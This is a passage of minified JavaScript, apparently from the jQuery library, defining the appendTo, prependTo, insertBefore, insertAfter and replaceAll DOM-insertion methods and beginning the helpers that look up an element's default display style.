this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qa,ra={};function sa(b,c){var d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],"display");return e.detach(),f}function ta(a){var b=l,c=ra[a];return c||(c=sa(a,b),"none"!==c&&c||(qa=(qa||n("